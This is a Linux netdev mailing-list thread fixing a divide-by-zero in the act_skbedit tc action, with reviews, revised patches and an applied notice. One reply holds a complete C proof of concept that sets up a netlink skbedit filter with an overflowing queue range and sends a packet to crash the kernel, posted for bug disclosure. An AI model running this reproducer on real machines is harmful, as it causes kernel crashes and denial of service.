public inbox for netdev@vger.kernel.org
 help / color / mirror / Atom feed
* [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
@ 2026-02-11 18:48 Ruitong Liu
  2026-02-11 19:07 ` Eric Dumazet
                   ` (2 more replies)
  0 siblings, 3 replies; 9+ messages in thread
From: Ruitong Liu @ 2026-02-11 18:48 UTC (permalink / raw)
  To: netdev
  Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms,
	linux-kernel, Ruitong Liu, stable, Shuyuan Liu

mapping_mod is computed as:

  mapping_mod = queue_mapping_max - queue_mapping + 1;

mapping_mod is stored as u16, so the calculation can overflow when
queue_mapping=0 and queue_mapping_max=0xffff. In this case the value
wraps to 0, leading to a divide-by-zero in tcf_skbedit_hash():

  queue_mapping += skb_get_hash(skb) % params->mapping_mod;

Fix it by using a wider type for mapping_mod and performing the
calculation in u32, preventing overflow to zero.

Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
Cc: stable@vger.kernel.org # 6.12+
Reported-by: Ruitong Liu <cnitlrt@gmail.com>
Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
---
 include/net/tc_act/tc_skbedit.h |  2 +-
 net/sched/act_skbedit.c         | 10 +++++-----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/include/net/tc_act/tc_skbedit.h b/include/net/tc_act/tc_skbedit.h
index 31b2cd0bebb5..1353bcb15ac7 100644
--- a/include/net/tc_act/tc_skbedit.h
+++ b/include/net/tc_act/tc_skbedit.h
@@ -18,7 +18,7 @@ struct tcf_skbedit_params {
 	u32 mark;
 	u32 mask;
 	u16 queue_mapping;
-	u16 mapping_mod;
+	u32 mapping_mod;
 	u16 ptype;
 	struct rcu_head rcu;
 };
diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..52f6ea6436b9 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -26,7 +26,7 @@ static struct tc_action_ops act_skbedit_ops;
 static u16 tcf_skbedit_hash(struct tcf_skbedit_params *params,
 			    struct sk_buff *skb)
 {
-	u16 queue_mapping = params->queue_mapping;
+	u32 queue_mapping = params->queue_mapping;
 
 	if (params->flags & SKBEDIT_F_TXQ_SKBHASH) {
 		u32 hash = skb_get_hash(skb);
@@ -34,7 +34,7 @@ static u16 tcf_skbedit_hash(struct tcf_skbedit_params *params,
 		queue_mapping += hash % params->mapping_mod;
 	}
 
-	return netdev_cap_txqueue(skb->dev, queue_mapping);
+	return netdev_cap_txqueue(skb->dev, (u16)queue_mapping);
 }
 
 TC_INDIRECT_SCOPE int tcf_skbedit_act(struct sk_buff *skb,
@@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
 	struct tcf_skbedit *d;
 	u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL;
 	u16 *queue_mapping = NULL, *ptype = NULL;
-	u16 mapping_mod = 1;
+	u32 mapping_mod = 1;
 	bool exists = false;
 	int ret = 0, err;
 	u32 index;
@@ -193,7 +193,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
 				return -EINVAL;
 			}
 
-			mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+			mapping_mod = (u32)(*queue_mapping_max) - (u32)(*queue_mapping) + 1;
 			flags |= SKBEDIT_F_TXQ_SKBHASH;
 		}
 		if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
@@ -319,7 +319,7 @@ static int tcf_skbedit_dump(struct sk_buff *skb, struct tc_action *a,
 		pure_flags |= SKBEDIT_F_INHERITDSFIELD;
 	if (params->flags & SKBEDIT_F_TXQ_SKBHASH) {
 		if (nla_put_u16(skb, TCA_SKBEDIT_QUEUE_MAPPING_MAX,
-				params->queue_mapping + params->mapping_mod - 1))
+				(u16)(params->queue_mapping + params->mapping_mod - 1)))
 			goto nla_put_failure;
 
 		pure_flags |= SKBEDIT_F_TXQ_SKBHASH;
-- 
2.34.1


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
@ 2026-02-11 19:07 ` Eric Dumazet
  2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
  2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
  2 siblings, 0 replies; 9+ messages in thread
From: Eric Dumazet @ 2026-02-11 19:07 UTC (permalink / raw)
  To: Ruitong Liu
  Cc: netdev, jhs, xiyou.wangcong, jiri, davem, kuba, pabeni, horms,
	linux-kernel, stable, Shuyuan Liu

On Wed, Feb 11, 2026 at 7:48 PM Ruitong Liu <cnitlrt@gmail.com> wrote:
>
> mapping_mod is computed as:
>
>   mapping_mod = queue_mapping_max - queue_mapping + 1;
>
> mapping_mod is stored as u16, so the calculation can overflow when
> queue_mapping=0 and queue_mapping_max=0xffff. In this case the value
> wraps to 0, leading to a divide-by-zero in tcf_skbedit_hash():
>
>   queue_mapping += skb_get_hash(skb) % params->mapping_mod;
>
> Fix it by using a wider type for mapping_mod and performing the
> calculation in u32, preventing overflow to zero.
>
> Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
> Cc: stable@vger.kernel.org # 6.12+
> Reported-by: Ruitong Liu <cnitlrt@gmail.com>
> Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
> Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
> ---

I do not think we want to support very large mapping_mod values, this
makes no sense.

Please reject wrong configuration instead.

diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..0ab83dc776d1 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net,
struct nlattr *nla,
        struct tcf_skbedit *d;
        u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL;
        u16 *queue_mapping = NULL, *ptype = NULL;
-       u16 mapping_mod = 1;
+       u32 mapping_mod = 1;
        bool exists = false;
        int ret = 0, err;
        u32 index;
@@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net,
struct nlattr *nla,
                        }

                        mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+                       if (mapping_mod > 0xFFFF) {
+                               NL_SET_ERR_MSG_MOD(extack, "The range
of queue_mapping is invalid.");
+                               return -EINVAL;
+                       }
                        flags |= SKBEDIT_F_TXQ_SKBHASH;
                }
                if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)

^ permalink raw reply related	[flat|nested] 9+ messages in thread

* [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
  2026-02-11 19:07 ` Eric Dumazet
@ 2026-02-11 19:43 ` Ruitong Liu
  2026-02-13  2:08   ` Jakub Kicinski
  2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
  2 siblings, 1 reply; 9+ messages in thread
From: Ruitong Liu @ 2026-02-11 19:43 UTC (permalink / raw)
  To: netdev
  Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms,
	linux-kernel, Ruitong Liu, stable, Shuyuan Liu

Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as:

  mapping_mod = queue_mapping_max - queue_mapping + 1;

mapping_mod is stored as u16, so the calculation can overflow when the
requested range covers 65536 queues (e.g. queue_mapping=0 and
queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and
tcf_skbedit_hash() triggers a divide-by-zero:

  queue_mapping += skb_get_hash(skb) % params->mapping_mod;

Reject such invalid configuration to prevent mapping_mod from becoming
0 and avoid the crash.

Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
Cc: stable@vger.kernel.org # 6.12+
Reported-by: Ruitong Liu <cnitlrt@gmail.com>
Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
---
 net/sched/act_skbedit.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..b6f5c21651fc 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
 			}
 
 			mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+			if (!mapping_mod) {
+				NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large");
+				return -EINVAL;
+			}
 			flags |= SKBEDIT_F_TXQ_SKBHASH;
 		}
 		if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
-- 
2.34.1


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
@ 2026-02-13  2:08   ` Jakub Kicinski
  2026-02-13  3:29     ` RUITONG LIU
  0 siblings, 1 reply; 9+ messages in thread
From: Jakub Kicinski @ 2026-02-13  2:08 UTC (permalink / raw)
  To: Ruitong Liu
  Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
	linux-kernel, stable, Shuyuan Liu

On Thu, 12 Feb 2026 03:43:25 +0800 Ruitong Liu wrote:
> Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
> added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as:
> 
>   mapping_mod = queue_mapping_max - queue_mapping + 1;
> 
> mapping_mod is stored as u16, so the calculation can overflow when the
> requested range covers 65536 queues (e.g. queue_mapping=0 and
> queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and
> tcf_skbedit_hash() triggers a divide-by-zero:
> 
>   queue_mapping += skb_get_hash(skb) % params->mapping_mod;
> 
> Reject such invalid configuration to prevent mapping_mod from becoming
> 0 and avoid the crash.

How did you find this bug? Do you have a repro to trigger the issue
you're describing?

> @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
>  			}
>  
>  			mapping_mod = *queue_mapping_max - *queue_mapping + 1;
> +			if (!mapping_mod) {
> +				NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large");
> +				return -EINVAL;
> +			}
>  			flags |= SKBEDIT_F_TXQ_SKBHASH;
>  		}
>  		if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)


There is this check right above the lines you're touching:

			if (*queue_mapping_max < *queue_mapping) {
				NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid, max < min.");
				return -EINVAL;
			}

I don't see how mapping_mod can be 0 here.
-- 
pw-bot: reject

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-13  2:08   ` Jakub Kicinski
@ 2026-02-13  3:29     ` RUITONG LIU
  2026-02-13 16:24       ` Jakub Kicinski
  0 siblings, 1 reply; 9+ messages in thread
From: RUITONG LIU @ 2026-02-13  3:29 UTC (permalink / raw)
  To: Jakub Kicinski
  Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
	linux-kernel, stable, Shuyuan Liu

With queue_mapping = 0 and queue_mapping_max = 65535, the existing
validation passes because it only checks queue_mapping_max <
queue_mapping, which is false. The code then computes the inclusive
range size:
mapping_mod = queue_mapping_max - queue_mapping + 1 = 65536.
However, mapping_mod is stored in a u16, so 65536 wraps to 0. This 0
value is later used as the divisor in a modulo operation (hash %
mapping_mod), causing a divide-by-zero.

This is the poc, and we use agent found this bug
```c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <linux/tc_act/tc_skbedit.h>
#include <net/if.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef SKBEDIT_F_TXQ_SKBHASH
#define SKBEDIT_F_TXQ_SKBHASH 0x40
#endif

#ifndef TCA_SKBEDIT_QUEUE_MAPPING_MAX
#define TCA_SKBEDIT_QUEUE_MAPPING_MAX 10
#endif

#define BUF_SIZE 8192

#define NLMSG_TAIL(nmsg) \
    ((struct nlattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

static int addattr_l(struct nlmsghdr *n, size_t maxlen, int type,
                     const void *data, size_t alen) {
    size_t len = NLA_ALIGN(alen) + NLA_HDRLEN;
    size_t newlen = NLMSG_ALIGN(n->nlmsg_len) + len;
    if (newlen > maxlen)
        return -1;
    struct nlattr *na = NLMSG_TAIL(n);
    na->nla_type = type;
    na->nla_len = NLA_HDRLEN + alen;
    if (alen && data)
        memcpy((char *)na + NLA_HDRLEN, data, alen);
    n->nlmsg_len = newlen;
    return 0;
}

static struct nlattr *addattr_nest(struct nlmsghdr *n, size_t maxlen,
int type) {
    struct nlattr *start = NLMSG_TAIL(n);
    if (addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0) < 0)
        return NULL;
    return start;
}

static int addattr_nest_end(struct nlmsghdr *n, struct nlattr *start) {
    start->nla_len = (char *)NLMSG_TAIL(n) - (char *)start;
    return n->nlmsg_len;
}

static int nl_talk(int fd, struct nlmsghdr *nlh) {
    struct sockaddr_nl nladdr = {0};
    nladdr.nl_family = AF_NETLINK;

    struct iovec iov = {0};
    iov.iov_base = nlh;
    iov.iov_len = nlh->nlmsg_len;

    struct msghdr msg = {0};
    msg.msg_name = &nladdr;
    msg.msg_namelen = sizeof(nladdr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    if (sendmsg(fd, &msg, 0) < 0)
        return -errno;

    char buf[BUF_SIZE];
    while (1) {
        int len = recv(fd, buf, sizeof(buf), 0);
        if (len < 0) {
            if (errno == EINTR)
                continue;
            return -errno;
        }
        struct nlmsghdr *h;
        for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len);
             h = NLMSG_NEXT(h, len)) {
            if (h->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
                if (err->error == 0)
                    return 0;
                return err->error;
            }
        }
    }
}

static int add_clsact_qdisc(int fd, int ifindex, int *seq) {
    struct {
        struct nlmsghdr n;
        struct tcmsg t;
        char buf[256];
    } req = {0};

    req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
    req.n.nlmsg_type = RTM_NEWQDISC;
    req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
NLM_F_REPLACE;
    req.n.nlmsg_seq = ++(*seq);
    req.n.nlmsg_pid = getpid();

    req.t.tcm_family = AF_UNSPEC;
    req.t.tcm_ifindex = ifindex;
    req.t.tcm_parent = TC_H_CLSACT;
    req.t.tcm_handle = TC_H_MAKE(TC_H_INGRESS, 0);

    const char kind[] = "clsact";
    if (addattr_l(&req.n, sizeof(req), TCA_KIND, kind, sizeof(kind)) < 0)
        return -1;

    return nl_talk(fd, &req.n);
}

static int add_u32_filter_skbedit(int fd, int ifindex, int *seq) {
    struct {
        struct nlmsghdr n;
        struct tcmsg t;
        char buf[1024];
    } req = {0};

    req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
    req.n.nlmsg_type = RTM_NEWTFILTER;
    req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
    req.n.nlmsg_seq = ++(*seq);
    req.n.nlmsg_pid = getpid();

    req.t.tcm_family = AF_UNSPEC;
    req.t.tcm_ifindex = ifindex;
    req.t.tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS);
    req.t.tcm_handle = 0;
    req.t.tcm_info = TC_H_MAKE(1 << 16, htons(ETH_P_ALL));

    const char kind[] = "u32";
    if (addattr_l(&req.n, sizeof(req), TCA_KIND, kind, sizeof(kind)) < 0)
        return -1;

    struct nlattr *opts = addattr_nest(&req.n, sizeof(req), TCA_OPTIONS);
    if (!opts)
        return -1;

    /* u32 selector: one key that always matches */
    char selbuf[sizeof(struct tc_u32_sel) + sizeof(struct tc_u32_key)];
    memset(selbuf, 0, sizeof(selbuf));
    struct tc_u32_sel *sel = (struct tc_u32_sel *)selbuf;
    struct tc_u32_key *key = (struct tc_u32_key *)(sel->keys);

    sel->flags = TC_U32_TERMINAL;
    sel->offshift = 0;
    sel->nkeys = 1;
    sel->offmask = 0;
    sel->off = 0;
    sel->offoff = 0;
    sel->hoff = 0;
    sel->hmask = htonl(0);

    key->mask = 0;
    key->val = 0;
    key->off = 0;
    key->offmask = 0;

    if (addattr_l(&req.n, sizeof(req), TCA_U32_SEL, selbuf, sizeof(selbuf)) < 0)
        return -1;

    struct nlattr *act = addattr_nest(&req.n, sizeof(req), TCA_U32_ACT);
    if (!act)
        return -1;

    struct nlattr *act1 = addattr_nest(&req.n, sizeof(req), 1);
    if (!act1)
        return -1;

    const char act_kind[] = "skbedit";
    if (addattr_l(&req.n, sizeof(req), TCA_ACT_KIND, act_kind,
sizeof(act_kind)) < 0)
        return -1;

    struct nlattr *act_opts = addattr_nest(&req.n, sizeof(req),
TCA_ACT_OPTIONS);
    if (!act_opts)
        return -1;

    struct tc_skbedit parm = {0};
    parm.action = TC_ACT_OK;
    parm.index = 0;

    if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_PARMS, &parm,
sizeof(parm)) < 0)
        return -1;

    uint16_t qmap = 0;
    uint16_t qmap_max = 0xFFFFu;
    uint64_t flags = SKBEDIT_F_TXQ_SKBHASH;

    if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_QUEUE_MAPPING,
&qmap, sizeof(qmap)) < 0)
        return -1;
    if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_QUEUE_MAPPING_MAX,
&qmap_max, sizeof(qmap_max)) < 0)
        return -1;
    if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_FLAGS, &flags,
sizeof(flags)) < 0)
        return -1;

    addattr_nest_end(&req.n, act_opts);
    addattr_nest_end(&req.n, act1);
    addattr_nest_end(&req.n, act);
    addattr_nest_end(&req.n, opts);

    return nl_talk(fd, &req.n);
}

static int trigger_packet(const char *ifname) {
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0)
        return -errno;

    if (ifname) {
        if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, ifname,
                       strlen(ifname) + 1) < 0) {
            int err = -errno;
            close(s);
            return err;
        }
    }

    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("10.0.2.2");

    char buf[64] = "trigger";
    int ret = sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&addr,
sizeof(addr));
    if (ret < 0) {
        int err = -errno;
        close(s);
        return err;
    }

    close(s);
    return 0;
}

int main(void) {
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (fd < 0) {
        perror("socket(NETLINK_ROUTE)");
        return 1;
    }

    struct sockaddr_nl local = {0};
    local.nl_family = AF_NETLINK;
    local.nl_pid = getpid();
    if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
        perror("bind");
        return 1;
    }

    const char *ifname = "eth0";
    int ifindex = if_nametoindex(ifname);
    if (!ifindex) {
        ifname = "lo";
        ifindex = if_nametoindex(ifname);
        if (!ifindex) {
            perror("if_nametoindex(eth0/lo)");
            return 1;
        }
    }

    int seq = 0;
    int err = add_clsact_qdisc(fd, ifindex, &seq);
    if (err && err != -EEXIST) {
        fprintf(stderr, "add clsact qdisc failed: %s (%d)\n",
strerror(-err), err);
        return 1;
    }

    err = add_u32_filter_skbedit(fd, ifindex, &seq);
    if (err) {
        fprintf(stderr, "add u32 skbedit filter failed: %s (%d)\n",
strerror(-err), err);
        return 1;
    }

    err = trigger_packet(ifname);
    if (err) {
        fprintf(stderr, "trigger_packet failed: %s (%d)\n",
strerror(-err), err);
        return 1;
    }

    printf("skbedit filter installed and packet sent. Check kernel log
for crash/KASAN.\n");
    return 0;
}
```

Jakub Kicinski <kuba@kernel.org> 于2026年2月12日周四 19:08写道:
>
> On Thu, 12 Feb 2026 03:43:25 +0800 Ruitong Liu wrote:
> > Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
> > added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as:
> >
> >   mapping_mod = queue_mapping_max - queue_mapping + 1;
> >
> > mapping_mod is stored as u16, so the calculation can overflow when the
> > requested range covers 65536 queues (e.g. queue_mapping=0 and
> > queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and
> > tcf_skbedit_hash() triggers a divide-by-zero:
> >
> >   queue_mapping += skb_get_hash(skb) % params->mapping_mod;
> >
> > Reject such invalid configuration to prevent mapping_mod from becoming
> > 0 and avoid the crash.
>
> How did you find this bug? Do you have a repro to trigger the issue
> you're describing?
>
> > @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
> >                       }
> >
> >                       mapping_mod = *queue_mapping_max - *queue_mapping + 1;
> > +                     if (!mapping_mod) {
> > +                             NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large");
> > +                             return -EINVAL;
> > +                     }
> >                       flags |= SKBEDIT_F_TXQ_SKBHASH;
> >               }
> >               if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
>
>
> There is this check right above the lines you're touching:
>
>                         if (*queue_mapping_max < *queue_mapping) {
>                                 NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid, max < min.");
>                                 return -EINVAL;
>                         }
>
> I don't see how mapping_mod can be 0 here.
> --
> pw-bot: reject

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-13  3:29     ` RUITONG LIU
@ 2026-02-13 16:24       ` Jakub Kicinski
  0 siblings, 0 replies; 9+ messages in thread
From: Jakub Kicinski @ 2026-02-13 16:24 UTC (permalink / raw)
  To: RUITONG LIU
  Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
	linux-kernel, stable, Shuyuan Liu

On Thu, 12 Feb 2026 20:29:20 -0700 RUITONG LIU wrote:
> With queue_mapping = 0 and queue_mapping_max = 65535, the existing
> validation passes because it only checks queue_mapping_max <
> queue_mapping, which is false. The code then computes the inclusive
> range size:
> mapping_mod = queue_mapping_max - queue_mapping + 1 = 65536.
> However, mapping_mod is stored in a u16, so 65536 wraps to 0. This 0
> value is later used as the divisor in a modulo operation (hash %
> mapping_mod), causing a divide-by-zero.

I see, thanks, could you please use the version of the patch
that Eric posted? It's much more intuitive than checking for 0.
Maybe use U16_MAX instead of 0xffff, too

^ permalink raw reply	[flat|nested] 9+ messages in thread

* [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
  2026-02-11 19:07 ` Eric Dumazet
  2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
@ 2026-02-13 17:59 ` Ruitong Liu
  2026-02-18  1:29   ` Jakub Kicinski
  2026-02-18  1:40   ` patchwork-bot+netdevbpf
  2 siblings, 2 replies; 9+ messages in thread
From: Ruitong Liu @ 2026-02-13 17:59 UTC (permalink / raw)
  To: netdev
  Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms,
	linux-kernel, Ruitong Liu, stable, Shuyuan Liu

Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
added SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is
computed as:

mapping_mod = queue_mapping_max - queue_mapping + 1;

The range size can be 65536 when the requested range covers all possible
u16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX).
That value cannot be represented in a u16 and previously wrapped to 0,
so tcf_skbedit_hash() could trigger a divide-by-zero:

queue_mapping += skb_get_hash(skb) % params->mapping_mod;

Compute mapping_mod in a wider type and reject ranges larger than U16_MAX
to prevent params->mapping_mod from becoming 0 and avoid the crash.

Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
Cc: stable@vger.kernel.org # 6.12+
Reported-by: Ruitong Liu <cnitlrt@gmail.com>
Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/
Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/
Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
---
 net/sched/act_skbedit.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..5450c1293eb5 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
 	struct tcf_skbedit *d;
 	u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL;
 	u16 *queue_mapping = NULL, *ptype = NULL;
-	u16 mapping_mod = 1;
+	u32 mapping_mod = 1;
 	bool exists = false;
 	int ret = 0, err;
 	u32 index;
@@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
 			}
 
 			mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+			if (mapping_mod > U16_MAX) {
+				NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid.");
+				return -EINVAL;
+			}
 			flags |= SKBEDIT_F_TXQ_SKBHASH;
 		}
 		if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
-- 
2.34.1


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
@ 2026-02-18  1:29   ` Jakub Kicinski
  2026-02-18  1:40   ` patchwork-bot+netdevbpf
  1 sibling, 0 replies; 9+ messages in thread
From: Jakub Kicinski @ 2026-02-18  1:29 UTC (permalink / raw)
  To: Ruitong Liu
  Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms,
	linux-kernel, stable, Shuyuan Liu

On Sat, 14 Feb 2026 01:59:48 +0800 Ruitong Liu wrote:
> Reported-by: Ruitong Liu <cnitlrt@gmail.com>
> Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/
> Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
> Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/

Please don't abuse reported-by tags.
These tags are only used when the reporter is not the same
as the author. If you're sending a fix without a reported-by
tag it's implied that you found the issue yourself.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
  2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
  2026-02-18  1:29   ` Jakub Kicinski
@ 2026-02-18  1:40   ` patchwork-bot+netdevbpf
  1 sibling, 0 replies; 9+ messages in thread
From: patchwork-bot+netdevbpf @ 2026-02-18  1:40 UTC (permalink / raw)
  To: Ruitong Liu
  Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni,
	horms, linux-kernel, stable, L0x1c3r

Hello:

This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:

On Sat, 14 Feb 2026 01:59:48 +0800 you wrote:
> Commit 38a6f0865796 ("net: sched: support hash selecting tx queue")
> added SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is
> computed as:
> 
> mapping_mod = queue_mapping_max - queue_mapping + 1;
> 
> The range size can be 65536 when the requested range covers all possible
> u16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX).
> That value cannot be represented in a u16 and previously wrapped to 0,
> so tcf_skbedit_hash() could trigger a divide-by-zero:
> 
> [...]

Here is the summary with links:
  - [v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
    https://git.kernel.org/netdev/net/c/be054cc66f73

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2026-02-18  1:40 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu
2026-02-11 19:07 ` Eric Dumazet
2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu
2026-02-13  2:08   ` Jakub Kicinski
2026-02-13  3:29     ` RUITONG LIU
2026-02-13 16:24       ` Jakub Kicinski
2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu
2026-02-18  1:29   ` Jakub Kicinski
2026-02-18  1:40   ` patchwork-bot+netdevbpf

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox